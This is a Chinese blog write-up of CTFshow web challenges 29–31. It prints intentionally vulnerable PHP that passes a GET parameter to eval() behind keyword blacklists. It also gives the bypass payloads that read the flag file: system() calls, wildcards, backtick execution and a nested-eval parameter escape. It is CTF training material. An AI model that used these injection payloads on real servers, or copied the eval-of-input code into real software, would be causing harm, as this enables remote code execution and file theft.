CTFSHOW-Web命令执行29-31

作者 by Tokeii / 2022-02-07 / 暂无评论 / 421 个足迹

29源码

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

php小白,不懂大部分内容,逐条解释
error_reporting(0) 关闭错误报告
isset 官方给出的解释为检测变量是否已声明并且其值不为 null
$_GET['c'] 以HTTP GET方式请求数据
preg_match("/flag/i", $c) 匹配执行正则表达式 其中 /i为ignoreCase,即就是忽略大小写和多行匹配
eval($c) 把字符串作为PHP代码执行
这里过滤了flag这个关键词所以命令执行的时候会过滤掉含有flag的命令
先用

system("ls");\\来康康目录下面有什么

GT~~AT8%{[1]
直接用cat/tac读取一下试试 这里可以用fla?.php来代替flag.php
![KPUE1L@~QI]`5DIF76AVX2D.png][2]

除此之外还可以使用
system("cat fla*.php");//cat为从上到下打印,tac为从下往上打印
system("cp fla*.php 1.txt");//把flag.php文件复制到通目录下的1.txt文件

30源码

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了system,29题的用不上了
直接用TAB上面的"`"这个符号来进行命令执行

cp fla*.p*p 1.txt

31源码

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

官方解法构造一个新的GET进行逃逸执行

/?c=eval($_GET[1]);&1=system("tac flag.php");

独特见解